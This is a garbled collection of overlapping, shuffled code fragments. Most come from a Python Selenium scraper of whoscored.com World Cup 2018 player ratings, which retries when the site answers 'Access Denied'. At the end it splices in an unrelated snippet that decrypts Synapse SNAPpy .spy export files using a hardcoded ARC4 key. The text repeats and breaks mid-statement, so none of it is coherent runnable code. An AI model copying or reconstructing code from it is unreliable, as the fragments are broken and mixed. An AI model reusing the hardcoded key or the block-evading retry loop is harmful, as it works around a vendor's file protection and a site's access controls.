"TimeoutException as e: return False player_link = np.load(\"Data/player_link.npy\").item() # will delete nan from",
"player_link[team].keys(): if player in already_loaded[team].keys(): continue while True: try: browser.get(player_link[team][player]) wait = WebDriverWait(browser,",
"= DesiredCapabilities.CHROME caps[\"pageLoadStrategy\"] = \"none\" #rating_dict = {team:{} for team in player_link.keys()} browser",
"break except IndexError: try: iframe = browser.find_element_by_xpath('//iframe') browser.switch_to_frame(iframe) browser.find_element_by_xpath('//p[contains(text(), \"Access Denied\")]') sleep(5) except",
"By.ID): # Simplify the detection of an element in the browser element_present =",
"player_link.keys(): for player in player_link[team].keys(): if player in already_loaded[team].keys(): continue while True: try:",
"0.01 # ---------------------------------------------------------------------------- # # # Code by <NAME> # # ---------------------------------------------------------------------------- #",
"EC.presence_of_element_located((by_what, element_id)) try: WebDriverWait(browser, 5, poll_frequency = .1).until(element_present) return True except TimeoutException as",
"caps)#Firefox(capabilities=caps) for team in player_link.keys(): for player in player_link[team].keys(): if player in already_loaded[team].keys():",
"import Options from selenium.common.exceptions import TimeoutException, NoSuchElementException, WebDriverException from selenium.webdriver.common.desired_capabilities import DesiredCapabilities from",
"base_url = 'https://www.whoscored.com' def get_countries_links(browser): return [team.get_attribute('href') for team in browser.find_elements_by_xpath('//table[@id=\"tournament-fixture\"]//td[contains(@class,\"team\")]//a')] countries_link =",
"= rating_dict.copy() for team in rating_dict.keys(): for player in rating_dict[team]: if pd.isnull(rating_dict[team][player]): already_loaded[team].pop(player,",
"EC from selenium.webdriver.common.by import By from selenium.webdriver.common.keys import Keys from selenium.webdriver.firefox.options import Options",
"# # ---------------------------------------------------------------------------- # import os import numpy as np import pandas as",
"''' def detect_element(browser, element_id, by_what = By.ID): # Simplify the detection of an",
"# ---------------------------------------------------------------------------- # import os import numpy as np import pandas as pd",
"in countries_link: browser.get(country_link) sleep(1) team = browser.find_element_by_xpath('//span[@class=\"team-header-name\"]') player_link[team.text] = dict() for player in",
"20) wait.until(EC.presence_of_element_located((By.XPATH, '//table[@id=\"top-player-stats-summary-grid\"]'))) browser.execute_script(\"window.stop();\") try: rating_dict[team][player] = browser.find_elements_by_xpath('//table[@id=\"top-player-stats-summary-grid\"]//td[@class=\"rating\"]')[-1].text print(rating_dict[team][player]) break except IndexError: try:",
"\"ui-icon-triangle-1-e\")]').click() sleep(1) countries_link.update(get_countries_links(browser)) # click next page browser.find_element_by_xpath('//span[contains(@class, \"ui-icon-triangle-1-e\")]').click() sleep(1) countries_link.update(get_countries_links(browser)) #countries_link player_link",
"browser = webdriver.Firefox() browser.get(\"https://www.whoscored.com/Regions/247/Tournaments/36/Seasons/5967/Stages/15737/Show/International-FIFA-World-Cup-2018\") sleep(3) base_url = 'https://www.whoscored.com' def get_countries_links(browser): return [team.get_attribute('href') for",
"get_countries_links(browser): return [team.get_attribute('href') for team in browser.find_elements_by_xpath('//table[@id=\"tournament-fixture\"]//td[contains(@class,\"team\")]//a')] countries_link = set() countries_link.update(get_countries_links(browser)) browser.find_elements_by_xpath('//table[@id=\"tournament-fixture\"]//td[contains(@class,\"team\")]//a')[0].get_attribute('href') #",
"page browser.find_element_by_xpath('//span[contains(@class, \"ui-icon-triangle-1-e\")]').click() sleep(1) countries_link.update(get_countries_links(browser)) # click next page browser.find_element_by_xpath('//span[contains(@class, \"ui-icon-triangle-1-e\")]').click() sleep(1) countries_link.update(get_countries_links(browser))",
"DesiredCapabilities.CHROME caps[\"pageLoadStrategy\"] = \"none\" #rating_dict = {team:{} for team in player_link.keys()} browser =",
"import re from bs4 import BeautifulSoup from selenium import webdriver from selenium.webdriver.support.ui import",
"page browser.find_element_by_xpath('//span[contains(@class, \"ui-icon-triangle-1-e\")]').click() sleep(1) countries_link.update(get_countries_links(browser)) #countries_link player_link = dict() for country_link in countries_link:",
"Code by <NAME> # # ---------------------------------------------------------------------------- # import os import numpy as np",
"bs4 import BeautifulSoup from selenium import webdriver from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support",
"Stats scanner # Ver: 0.01 # ---------------------------------------------------------------------------- # # # Code by <NAME>",
"Analytics FIFA\") ''' browser = webdriver.Firefox() browser.get(\"https://www.whoscored.com/Regions/247/Tournaments/36/Seasons/5967/Stages/15737/Show/International-FIFA-World-Cup-2018\") sleep(3) base_url = 'https://www.whoscored.com' def get_countries_links(browser):",
"sleep os.chdir(\"/mnt/aec0936f-d983-44c1-99f5-0f5b36390285/Dropbox/Python/Predictive Analytics FIFA\") ''' browser = webdriver.Firefox() browser.get(\"https://www.whoscored.com/Regions/247/Tournaments/36/Seasons/5967/Stages/15737/Show/International-FIFA-World-Cup-2018\") sleep(3) base_url = 'https://www.whoscored.com'",
"sleep(5) except NoSuchElementException: rating_dict[team][player] = np.nan except TimeoutException: sleep(5) np.save(\"Data/rating_dict.npy\", rating_dict) rating_dict['Saudi Arabia']",
"rating_dict.keys(): for player in rating_dict[team]: if pd.isnull(rating_dict[team][player]): already_loaded[team].pop(player, None) #caps = DesiredCapabilities().FIREFOX caps",
"for team in player_link.keys(): for player in player_link[team].keys(): if player in already_loaded[team].keys(): continue",
"for player in player_link[team].keys(): if player in already_loaded[team].keys(): continue while True: try: browser.get(player_link[team][player])",
"= set() countries_link.update(get_countries_links(browser)) browser.find_elements_by_xpath('//table[@id=\"tournament-fixture\"]//td[contains(@class,\"team\")]//a')[0].get_attribute('href') # click next page browser.find_element_by_xpath('//span[contains(@class, \"ui-icon-triangle-1-e\")]').click() sleep(1) countries_link.update(get_countries_links(browser)) #",
"import os import numpy as np import pandas as pd import re from",
"= browser.find_element_by_xpath('//span[@class=\"team-header-name\"]') player_link[team.text] = dict() for player in browser.find_elements_by_xpath('//table[@id=\"top-player-stats-summary-grid\"]//tbody//tr//a'): player_link[team.text][player.text] = player.get_attribute('href') np.save(\"Data/player_link.npy\",",
"player_link[team.text] = dict() for player in browser.find_elements_by_xpath('//table[@id=\"top-player-stats-summary-grid\"]//tbody//tr//a'): player_link[team.text][player.text] = player.get_attribute('href') np.save(\"Data/player_link.npy\", player_link) '''",
"import TimeoutException, NoSuchElementException, WebDriverException from selenium.webdriver.common.desired_capabilities import DesiredCapabilities from time import sleep os.chdir(\"/mnt/aec0936f-d983-44c1-99f5-0f5b36390285/Dropbox/Python/Predictive",
"already_loaded = rating_dict.copy() for team in rating_dict.keys(): for player in rating_dict[team]: if pd.isnull(rating_dict[team][player]):",
"---------------------------------------------------------------------------- # # # Code by <NAME> # # ---------------------------------------------------------------------------- # import os",
"# will delete nan from already_loaded already_loaded = rating_dict.copy() for team in rating_dict.keys():",
"= .1).until(element_present) return True except TimeoutException as e: return False player_link = np.load(\"Data/player_link.npy\").item()",
"element_present = EC.presence_of_element_located((by_what, element_id)) try: WebDriverWait(browser, 5, poll_frequency = .1).until(element_present) return True except",
"by <NAME> # # ---------------------------------------------------------------------------- # import os import numpy as np import",
"browser.find_elements_by_xpath('//table[@id=\"top-player-stats-summary-grid\"]//tbody//tr//a'): player_link[team.text][player.text] = player.get_attribute('href') np.save(\"Data/player_link.npy\", player_link) ''' def detect_element(browser, element_id, by_what = By.ID):",
"from selenium import webdriver from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as",
"True: try: browser.get(player_link[team][player]) wait = WebDriverWait(browser, 20) wait.until(EC.presence_of_element_located((By.XPATH, '//table[@id=\"top-player-stats-summary-grid\"]'))) browser.execute_script(\"window.stop();\") try: rating_dict[team][player] =",
"sleep(1) team = browser.find_element_by_xpath('//span[@class=\"team-header-name\"]') player_link[team.text] = dict() for player in browser.find_elements_by_xpath('//table[@id=\"top-player-stats-summary-grid\"]//tbody//tr//a'): player_link[team.text][player.text] =",
"player_link = dict() for country_link in countries_link: browser.get(country_link) sleep(1) team = browser.find_element_by_xpath('//span[@class=\"team-header-name\"]') player_link[team.text]",
"player_link[team.text][player.text] = player.get_attribute('href') np.save(\"Data/player_link.npy\", player_link) ''' def detect_element(browser, element_id, by_what = By.ID): #",
"in player_link.keys(): for player in player_link[team].keys(): if player in already_loaded[team].keys(): continue while True:",
"= WebDriverWait(browser, 20) wait.until(EC.presence_of_element_located((By.XPATH, '//table[@id=\"top-player-stats-summary-grid\"]'))) browser.execute_script(\"window.stop();\") try: rating_dict[team][player] = browser.find_elements_by_xpath('//table[@id=\"top-player-stats-summary-grid\"]//td[@class=\"rating\"]')[-1].text print(rating_dict[team][player]) break except",
"= webdriver.Firefox() browser.get(\"https://www.whoscored.com/Regions/247/Tournaments/36/Seasons/5967/Stages/15737/Show/International-FIFA-World-Cup-2018\") sleep(3) base_url = 'https://www.whoscored.com' def get_countries_links(browser): return [team.get_attribute('href') for team",
"rating_dict[team]: if pd.isnull(rating_dict[team][player]): already_loaded[team].pop(player, None) #caps = DesiredCapabilities().FIREFOX caps = DesiredCapabilities.CHROME caps[\"pageLoadStrategy\"] =",
"next page browser.find_element_by_xpath('//span[contains(@class, \"ui-icon-triangle-1-e\")]').click() sleep(1) countries_link.update(get_countries_links(browser)) #countries_link player_link = dict() for country_link in",
"next page browser.find_element_by_xpath('//span[contains(@class, \"ui-icon-triangle-1-e\")]').click() sleep(1) countries_link.update(get_countries_links(browser)) # click next page browser.find_element_by_xpath('//span[contains(@class, \"ui-icon-triangle-1-e\")]').click() sleep(1)",
"from selenium.webdriver.firefox.options import Options from selenium.common.exceptions import TimeoutException, NoSuchElementException, WebDriverException from selenium.webdriver.common.desired_capabilities import",
"countries_link = set() countries_link.update(get_countries_links(browser)) browser.find_elements_by_xpath('//table[@id=\"tournament-fixture\"]//td[contains(@class,\"team\")]//a')[0].get_attribute('href') # click next page browser.find_element_by_xpath('//span[contains(@class, \"ui-icon-triangle-1-e\")]').click() sleep(1) countries_link.update(get_countries_links(browser))",
"pd import re from bs4 import BeautifulSoup from selenium import webdriver from selenium.webdriver.support.ui",
"import expected_conditions as EC from selenium.webdriver.common.by import By from selenium.webdriver.common.keys import Keys from",
"sleep(3) base_url = 'https://www.whoscored.com' def get_countries_links(browser): return [team.get_attribute('href') for team in browser.find_elements_by_xpath('//table[@id=\"tournament-fixture\"]//td[contains(@class,\"team\")]//a')] countries_link",
"= browser.find_elements_by_xpath('//table[@id=\"top-player-stats-summary-grid\"]//td[@class=\"rating\"]')[-1].text print(rating_dict[team][player]) break except IndexError: try: iframe = browser.find_element_by_xpath('//iframe') browser.switch_to_frame(iframe) browser.find_element_by_xpath('//p[contains(text(), \"Access",
"except IndexError: try: iframe = browser.find_element_by_xpath('//iframe') browser.switch_to_frame(iframe) browser.find_element_by_xpath('//p[contains(text(), \"Access Denied\")]') sleep(5) except NoSuchElementException:",
"FIFA\") ''' browser = webdriver.Firefox() browser.get(\"https://www.whoscored.com/Regions/247/Tournaments/36/Seasons/5967/Stages/15737/Show/International-FIFA-World-Cup-2018\") sleep(3) base_url = 'https://www.whoscored.com' def get_countries_links(browser): return",
"<NAME> # # ---------------------------------------------------------------------------- # import os import numpy as np import pandas",
"detect_element(browser, element_id, by_what = By.ID): # Simplify the detection of an element in",
"import webdriver from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from",
"= dict() for country_link in countries_link: browser.get(country_link) sleep(1) team = browser.find_element_by_xpath('//span[@class=\"team-header-name\"]') player_link[team.text] =",
"BeautifulSoup from selenium import webdriver from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions",
"in rating_dict[team]: if pd.isnull(rating_dict[team][player]): already_loaded[team].pop(player, None) #caps = DesiredCapabilities().FIREFOX caps = DesiredCapabilities.CHROME caps[\"pageLoadStrategy\"]",
"DesiredCapabilities().FIREFOX caps = DesiredCapabilities.CHROME caps[\"pageLoadStrategy\"] = \"none\" #rating_dict = {team:{} for team in",
"browser.switch_to_frame(iframe) browser.find_element_by_xpath('//p[contains(text(), \"Access Denied\")]') sleep(5) except NoSuchElementException: rating_dict[team][player] = np.nan except TimeoutException: sleep(5)",
"dict() for country_link in countries_link: browser.get(country_link) sleep(1) team = browser.find_element_by_xpath('//span[@class=\"team-header-name\"]') player_link[team.text] = dict()",
"return True except TimeoutException as e: return False player_link = np.load(\"Data/player_link.npy\").item() # will",
"= np.load(\"Data/player_link.npy\").item() # will delete nan from already_loaded already_loaded = rating_dict.copy() for team",
"DesiredCapabilities from time import sleep os.chdir(\"/mnt/aec0936f-d983-44c1-99f5-0f5b36390285/Dropbox/Python/Predictive Analytics FIFA\") ''' browser = webdriver.Firefox() browser.get(\"https://www.whoscored.com/Regions/247/Tournaments/36/Seasons/5967/Stages/15737/Show/International-FIFA-World-Cup-2018\")",
"sleep(1) countries_link.update(get_countries_links(browser)) # click next page browser.find_element_by_xpath('//span[contains(@class, \"ui-icon-triangle-1-e\")]').click() sleep(1) countries_link.update(get_countries_links(browser)) #countries_link player_link =",
"as e: return False player_link = np.load(\"Data/player_link.npy\").item() # will delete nan from already_loaded",
"= {team:{} for team in player_link.keys()} browser = webdriver.Chrome(desired_capabilities = caps)#Firefox(capabilities=caps) for team",
"as np import pandas as pd import re from bs4 import BeautifulSoup from",
"player.get_attribute('href') np.save(\"Data/player_link.npy\", player_link) ''' def detect_element(browser, element_id, by_what = By.ID): # Simplify the",
"player in browser.find_elements_by_xpath('//table[@id=\"top-player-stats-summary-grid\"]//tbody//tr//a'): player_link[team.text][player.text] = player.get_attribute('href') np.save(\"Data/player_link.npy\", player_link) ''' def detect_element(browser, element_id, by_what",
"from already_loaded already_loaded = rating_dict.copy() for team in rating_dict.keys(): for player in rating_dict[team]:",
"By from selenium.webdriver.common.keys import Keys from selenium.webdriver.firefox.options import Options from selenium.common.exceptions import TimeoutException,",
"from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.common.by import By from selenium.webdriver.common.keys import",
"Keys from selenium.webdriver.firefox.options import Options from selenium.common.exceptions import TimeoutException, NoSuchElementException, WebDriverException from selenium.webdriver.common.desired_capabilities",
"import numpy as np import pandas as pd import re from bs4 import",
"# Code by <NAME> # # ---------------------------------------------------------------------------- # import os import numpy as",
"countries_link.update(get_countries_links(browser)) # click next page browser.find_element_by_xpath('//span[contains(@class, \"ui-icon-triangle-1-e\")]').click() sleep(1) countries_link.update(get_countries_links(browser)) #countries_link player_link = dict()",
"import sleep os.chdir(\"/mnt/aec0936f-d983-44c1-99f5-0f5b36390285/Dropbox/Python/Predictive Analytics FIFA\") ''' browser = webdriver.Firefox() browser.get(\"https://www.whoscored.com/Regions/247/Tournaments/36/Seasons/5967/Stages/15737/Show/International-FIFA-World-Cup-2018\") sleep(3) base_url =",
"#caps = DesiredCapabilities().FIREFOX caps = DesiredCapabilities.CHROME caps[\"pageLoadStrategy\"] = \"none\" #rating_dict = {team:{} for",
"wait = WebDriverWait(browser, 20) wait.until(EC.presence_of_element_located((By.XPATH, '//table[@id=\"top-player-stats-summary-grid\"]'))) browser.execute_script(\"window.stop();\") try: rating_dict[team][player] = browser.find_elements_by_xpath('//table[@id=\"top-player-stats-summary-grid\"]//td[@class=\"rating\"]')[-1].text print(rating_dict[team][player]) break",
"as EC from selenium.webdriver.common.by import By from selenium.webdriver.common.keys import Keys from selenium.webdriver.firefox.options import",
"\"none\" #rating_dict = {team:{} for team in player_link.keys()} browser = webdriver.Chrome(desired_capabilities = caps)#Firefox(capabilities=caps)",
"browser.find_element_by_xpath('//p[contains(text(), \"Access Denied\")]') sleep(5) except NoSuchElementException: rating_dict[team][player] = np.nan except TimeoutException: sleep(5) np.save(\"Data/rating_dict.npy\",",
"# # World Cup: Stats scanner # Ver: 0.01 # ---------------------------------------------------------------------------- # #",
"from selenium.webdriver.common.keys import Keys from selenium.webdriver.firefox.options import Options from selenium.common.exceptions import TimeoutException, NoSuchElementException,",
"# ---------------------------------------------------------------------------- # # # Code by <NAME> # # ---------------------------------------------------------------------------- # import",
"in player_link.keys()} browser = webdriver.Chrome(desired_capabilities = caps)#Firefox(capabilities=caps) for team in player_link.keys(): for player",
"as pd import re from bs4 import BeautifulSoup from selenium import webdriver from",
"in rating_dict.keys(): for player in rating_dict[team]: if pd.isnull(rating_dict[team][player]): already_loaded[team].pop(player, None) #caps = DesiredCapabilities().FIREFOX",
"while True: try: browser.get(player_link[team][player]) wait = WebDriverWait(browser, 20) wait.until(EC.presence_of_element_located((By.XPATH, '//table[@id=\"top-player-stats-summary-grid\"]'))) browser.execute_script(\"window.stop();\") try: rating_dict[team][player]",
"for team in browser.find_elements_by_xpath('//table[@id=\"tournament-fixture\"]//td[contains(@class,\"team\")]//a')] countries_link = set() countries_link.update(get_countries_links(browser)) browser.find_elements_by_xpath('//table[@id=\"tournament-fixture\"]//td[contains(@class,\"team\")]//a')[0].get_attribute('href') # click next page",
"'//table[@id=\"top-player-stats-summary-grid\"]'))) browser.execute_script(\"window.stop();\") try: rating_dict[team][player] = browser.find_elements_by_xpath('//table[@id=\"top-player-stats-summary-grid\"]//td[@class=\"rating\"]')[-1].text print(rating_dict[team][player]) break except IndexError: try: iframe =",
"for player in rating_dict[team]: if pd.isnull(rating_dict[team][player]): already_loaded[team].pop(player, None) #caps = DesiredCapabilities().FIREFOX caps =",
"= browser.find_element_by_xpath('//iframe') browser.switch_to_frame(iframe) browser.find_element_by_xpath('//p[contains(text(), \"Access Denied\")]') sleep(5) except NoSuchElementException: rating_dict[team][player] = np.nan except",
"# click next page browser.find_element_by_xpath('//span[contains(@class, \"ui-icon-triangle-1-e\")]').click() sleep(1) countries_link.update(get_countries_links(browser)) #countries_link player_link = dict() for",
"player in player_link[team].keys(): if player in already_loaded[team].keys(): continue while True: try: browser.get(player_link[team][player]) wait",
"of an element in the browser element_present = EC.presence_of_element_located((by_what, element_id)) try: WebDriverWait(browser, 5,",
"print(rating_dict[team][player]) break except IndexError: try: iframe = browser.find_element_by_xpath('//iframe') browser.switch_to_frame(iframe) browser.find_element_by_xpath('//p[contains(text(), \"Access Denied\")]') sleep(5)",
"\"Access Denied\")]') sleep(5) except NoSuchElementException: rating_dict[team][player] = np.nan except TimeoutException: sleep(5) np.save(\"Data/rating_dict.npy\", rating_dict)",
"import DesiredCapabilities from time import sleep os.chdir(\"/mnt/aec0936f-d983-44c1-99f5-0f5b36390285/Dropbox/Python/Predictive Analytics FIFA\") ''' browser = webdriver.Firefox()",
"in browser.find_elements_by_xpath('//table[@id=\"tournament-fixture\"]//td[contains(@class,\"team\")]//a')] countries_link = set() countries_link.update(get_countries_links(browser)) browser.find_elements_by_xpath('//table[@id=\"tournament-fixture\"]//td[contains(@class,\"team\")]//a')[0].get_attribute('href') # click next page browser.find_element_by_xpath('//span[contains(@class, \"ui-icon-triangle-1-e\")]').click()",
"= DesiredCapabilities().FIREFOX caps = DesiredCapabilities.CHROME caps[\"pageLoadStrategy\"] = \"none\" #rating_dict = {team:{} for team",
"team in rating_dict.keys(): for player in rating_dict[team]: if pd.isnull(rating_dict[team][player]): already_loaded[team].pop(player, None) #caps =",
"# # Code by <NAME> # # ---------------------------------------------------------------------------- # import os import numpy",
"---------------------------------------------------------------------------- # import os import numpy as np import pandas as pd import",
".1).until(element_present) return True except TimeoutException as e: return False player_link = np.load(\"Data/player_link.npy\").item() #",
"def detect_element(browser, element_id, by_what = By.ID): # Simplify the detection of an element",
"team in player_link.keys()} browser = webdriver.Chrome(desired_capabilities = caps)#Firefox(capabilities=caps) for team in player_link.keys(): for",
"try: browser.get(player_link[team][player]) wait = WebDriverWait(browser, 20) wait.until(EC.presence_of_element_located((By.XPATH, '//table[@id=\"top-player-stats-summary-grid\"]'))) browser.execute_script(\"window.stop();\") try: rating_dict[team][player] = browser.find_elements_by_xpath('//table[@id=\"top-player-stats-summary-grid\"]//td[@class=\"rating\"]')[-1].text",
"WebDriverWait(browser, 5, poll_frequency = .1).until(element_present) return True except TimeoutException as e: return False",
"time import sleep os.chdir(\"/mnt/aec0936f-d983-44c1-99f5-0f5b36390285/Dropbox/Python/Predictive Analytics FIFA\") ''' browser = webdriver.Firefox() browser.get(\"https://www.whoscored.com/Regions/247/Tournaments/36/Seasons/5967/Stages/15737/Show/International-FIFA-World-Cup-2018\") sleep(3) base_url",
"except TimeoutException as e: return False player_link = np.load(\"Data/player_link.npy\").item() # will delete nan",
"pandas as pd import re from bs4 import BeautifulSoup from selenium import webdriver",
"# click next page browser.find_element_by_xpath('//span[contains(@class, \"ui-icon-triangle-1-e\")]').click() sleep(1) countries_link.update(get_countries_links(browser)) # click next page browser.find_element_by_xpath('//span[contains(@class,",
"webdriver.Firefox() browser.get(\"https://www.whoscored.com/Regions/247/Tournaments/36/Seasons/5967/Stages/15737/Show/International-FIFA-World-Cup-2018\") sleep(3) base_url = 'https://www.whoscored.com' def get_countries_links(browser): return [team.get_attribute('href') for team in",
"True except TimeoutException as e: return False player_link = np.load(\"Data/player_link.npy\").item() # will delete",
"if player in already_loaded[team].keys(): continue while True: try: browser.get(player_link[team][player]) wait = WebDriverWait(browser, 20)",
"selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.common.by import By from selenium.webdriver.common.keys import Keys",
"import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.common.by import By from",
"detection of an element in the browser element_present = EC.presence_of_element_located((by_what, element_id)) try: WebDriverWait(browser,",
"browser = webdriver.Chrome(desired_capabilities = caps)#Firefox(capabilities=caps) for team in player_link.keys(): for player in player_link[team].keys():",
"continue while True: try: browser.get(player_link[team][player]) wait = WebDriverWait(browser, 20) wait.until(EC.presence_of_element_located((By.XPATH, '//table[@id=\"top-player-stats-summary-grid\"]'))) browser.execute_script(\"window.stop();\") try:",
"Cup: Stats scanner # Ver: 0.01 # ---------------------------------------------------------------------------- # # # Code by",
"try: rating_dict[team][player] = browser.find_elements_by_xpath('//table[@id=\"top-player-stats-summary-grid\"]//td[@class=\"rating\"]')[-1].text print(rating_dict[team][player]) break except IndexError: try: iframe = browser.find_element_by_xpath('//iframe') browser.switch_to_frame(iframe)",
"already_loaded[team].keys(): continue while True: try: browser.get(player_link[team][player]) wait = WebDriverWait(browser, 20) wait.until(EC.presence_of_element_located((By.XPATH, '//table[@id=\"top-player-stats-summary-grid\"]'))) browser.execute_script(\"window.stop();\")",
"import Keys from selenium.webdriver.firefox.options import Options from selenium.common.exceptions import TimeoutException, NoSuchElementException, WebDriverException from",
"already_loaded already_loaded = rating_dict.copy() for team in rating_dict.keys(): for player in rating_dict[team]: if",
"def get_countries_links(browser): return [team.get_attribute('href') for team in browser.find_elements_by_xpath('//table[@id=\"tournament-fixture\"]//td[contains(@class,\"team\")]//a')] countries_link = set() countries_link.update(get_countries_links(browser)) browser.find_elements_by_xpath('//table[@id=\"tournament-fixture\"]//td[contains(@class,\"team\")]//a')[0].get_attribute('href')",
"Options from selenium.common.exceptions import TimeoutException, NoSuchElementException, WebDriverException from selenium.webdriver.common.desired_capabilities import DesiredCapabilities from time",
"set() countries_link.update(get_countries_links(browser)) browser.find_elements_by_xpath('//table[@id=\"tournament-fixture\"]//td[contains(@class,\"team\")]//a')[0].get_attribute('href') # click next page browser.find_element_by_xpath('//span[contains(@class, \"ui-icon-triangle-1-e\")]').click() sleep(1) countries_link.update(get_countries_links(browser)) # click",
"pd.isnull(rating_dict[team][player]): already_loaded[team].pop(player, None) #caps = DesiredCapabilities().FIREFOX caps = DesiredCapabilities.CHROME caps[\"pageLoadStrategy\"] = \"none\" #rating_dict",
"# import os import numpy as np import pandas as pd import re",
"{team:{} for team in player_link.keys()} browser = webdriver.Chrome(desired_capabilities = caps)#Firefox(capabilities=caps) for team in",
"scanner # Ver: 0.01 # ---------------------------------------------------------------------------- # # # Code by <NAME> #",
"team = browser.find_element_by_xpath('//span[@class=\"team-header-name\"]') player_link[team.text] = dict() for player in browser.find_elements_by_xpath('//table[@id=\"top-player-stats-summary-grid\"]//tbody//tr//a'): player_link[team.text][player.text] = player.get_attribute('href')",
"browser element_present = EC.presence_of_element_located((by_what, element_id)) try: WebDriverWait(browser, 5, poll_frequency = .1).until(element_present) return True",
"delete nan from already_loaded already_loaded = rating_dict.copy() for team in rating_dict.keys(): for player",
"for country_link in countries_link: browser.get(country_link) sleep(1) team = browser.find_element_by_xpath('//span[@class=\"team-header-name\"]') player_link[team.text] = dict() for",
"TimeoutException, NoSuchElementException, WebDriverException from selenium.webdriver.common.desired_capabilities import DesiredCapabilities from time import sleep os.chdir(\"/mnt/aec0936f-d983-44c1-99f5-0f5b36390285/Dropbox/Python/Predictive Analytics",
"= EC.presence_of_element_located((by_what, element_id)) try: WebDriverWait(browser, 5, poll_frequency = .1).until(element_present) return True except TimeoutException",
"5, poll_frequency = .1).until(element_present) return True except TimeoutException as e: return False player_link",
"webdriver.Chrome(desired_capabilities = caps)#Firefox(capabilities=caps) for team in player_link.keys(): for player in player_link[team].keys(): if player",
"WebDriverWait(browser, 20) wait.until(EC.presence_of_element_located((By.XPATH, '//table[@id=\"top-player-stats-summary-grid\"]'))) browser.execute_script(\"window.stop();\") try: rating_dict[team][player] = browser.find_elements_by_xpath('//table[@id=\"top-player-stats-summary-grid\"]//td[@class=\"rating\"]')[-1].text print(rating_dict[team][player]) break except IndexError:",
"#rating_dict = {team:{} for team in player_link.keys()} browser = webdriver.Chrome(desired_capabilities = caps)#Firefox(capabilities=caps) for",
"os import numpy as np import pandas as pd import re from bs4",
"click next page browser.find_element_by_xpath('//span[contains(@class, \"ui-icon-triangle-1-e\")]').click() sleep(1) countries_link.update(get_countries_links(browser)) #countries_link player_link = dict() for country_link",
"selenium.webdriver.common.by import By from selenium.webdriver.common.keys import Keys from selenium.webdriver.firefox.options import Options from selenium.common.exceptions",
"browser.find_element_by_xpath('//span[contains(@class, \"ui-icon-triangle-1-e\")]').click() sleep(1) countries_link.update(get_countries_links(browser)) # click next page browser.find_element_by_xpath('//span[contains(@class, \"ui-icon-triangle-1-e\")]').click() sleep(1) countries_link.update(get_countries_links(browser)) #countries_link",
"player_link = np.load(\"Data/player_link.npy\").item() # will delete nan from already_loaded already_loaded = rating_dict.copy() for",
"for team in rating_dict.keys(): for player in rating_dict[team]: if pd.isnull(rating_dict[team][player]): already_loaded[team].pop(player, None) #caps",
"dict() for player in browser.find_elements_by_xpath('//table[@id=\"top-player-stats-summary-grid\"]//tbody//tr//a'): player_link[team.text][player.text] = player.get_attribute('href') np.save(\"Data/player_link.npy\", player_link) ''' def detect_element(browser,",
"Simplify the detection of an element in the browser element_present = EC.presence_of_element_located((by_what, element_id))",
"caps[\"pageLoadStrategy\"] = \"none\" #rating_dict = {team:{} for team in player_link.keys()} browser = webdriver.Chrome(desired_capabilities",
"from bs4 import BeautifulSoup from selenium import webdriver from selenium.webdriver.support.ui import WebDriverWait from",
"os.chdir(\"/mnt/aec0936f-d983-44c1-99f5-0f5b36390285/Dropbox/Python/Predictive Analytics FIFA\") ''' browser = webdriver.Firefox() browser.get(\"https://www.whoscored.com/Regions/247/Tournaments/36/Seasons/5967/Stages/15737/Show/International-FIFA-World-Cup-2018\") sleep(3) base_url = 'https://www.whoscored.com' def",
"browser.get(country_link) sleep(1) team = browser.find_element_by_xpath('//span[@class=\"team-header-name\"]') player_link[team.text] = dict() for player in browser.find_elements_by_xpath('//table[@id=\"top-player-stats-summary-grid\"]//tbody//tr//a'): player_link[team.text][player.text]"
] |
[
"encoder.decrypt(data) decomp_data = bz2.decompress(exportString) newFileName = \"{0}.unspy\".format(filename_and_path) with open(newFileName, \"wb\") as unspy: unspy.write(decomp_data)",
"import math, bz2, os from snaplib.ppcrypto import ARC4 # _SNAPPY_EXPORT_KEY encoder = ARC4(\"SynapseExport\"",
"decomp_data = bz2.decompress(exportString) newFileName = \"{0}.unspy\".format(filename_and_path) with open(newFileName, \"wb\") as unspy: unspy.write(decomp_data) return",
"(filename_and_path, extension) = os.path.splitext(file) with open(file, \"rb\") as binary_file: data = binary_file.read() exportString",
"decryptSnapSpy(file): (filename_and_path, extension) = os.path.splitext(file) with open(file, \"rb\") as binary_file: data = binary_file.read()",
"from snaplib.ppcrypto import ARC4 # _SNAPPY_EXPORT_KEY encoder = ARC4(\"SynapseExport\" + str(math.pi)) def decryptSnapSpy(file):",
"# _SNAPPY_EXPORT_KEY encoder = ARC4(\"SynapseExport\" + str(math.pi)) def decryptSnapSpy(file): (filename_and_path, extension) = os.path.splitext(file)",
"bz2, os from snaplib.ppcrypto import ARC4 # _SNAPPY_EXPORT_KEY encoder = ARC4(\"SynapseExport\" + str(math.pi))",
"with open(file, \"rb\") as binary_file: data = binary_file.read() exportString = encoder.decrypt(data) decomp_data =",
"data = binary_file.read() exportString = encoder.decrypt(data) decomp_data = bz2.decompress(exportString) newFileName = \"{0}.unspy\".format(filename_and_path) with",
"math, bz2, os from snaplib.ppcrypto import ARC4 # _SNAPPY_EXPORT_KEY encoder = ARC4(\"SynapseExport\" +",
"\"rb\") as binary_file: data = binary_file.read() exportString = encoder.decrypt(data) decomp_data = bz2.decompress(exportString) newFileName",
"os from snaplib.ppcrypto import ARC4 # _SNAPPY_EXPORT_KEY encoder = ARC4(\"SynapseExport\" + str(math.pi)) def",
"os.path.splitext(file) with open(file, \"rb\") as binary_file: data = binary_file.read() exportString = encoder.decrypt(data) decomp_data",
"= binary_file.read() exportString = encoder.decrypt(data) decomp_data = bz2.decompress(exportString) newFileName = \"{0}.unspy\".format(filename_and_path) with open(newFileName,",
"as binary_file: data = binary_file.read() exportString = encoder.decrypt(data) decomp_data = bz2.decompress(exportString) newFileName =",
"binary_file: data = binary_file.read() exportString = encoder.decrypt(data) decomp_data = bz2.decompress(exportString) newFileName = \"{0}.unspy\".format(filename_and_path)",
"open(file, \"rb\") as binary_file: data = binary_file.read() exportString = encoder.decrypt(data) decomp_data = bz2.decompress(exportString)",
"= os.path.splitext(file) with open(file, \"rb\") as binary_file: data = binary_file.read() exportString = encoder.decrypt(data)",
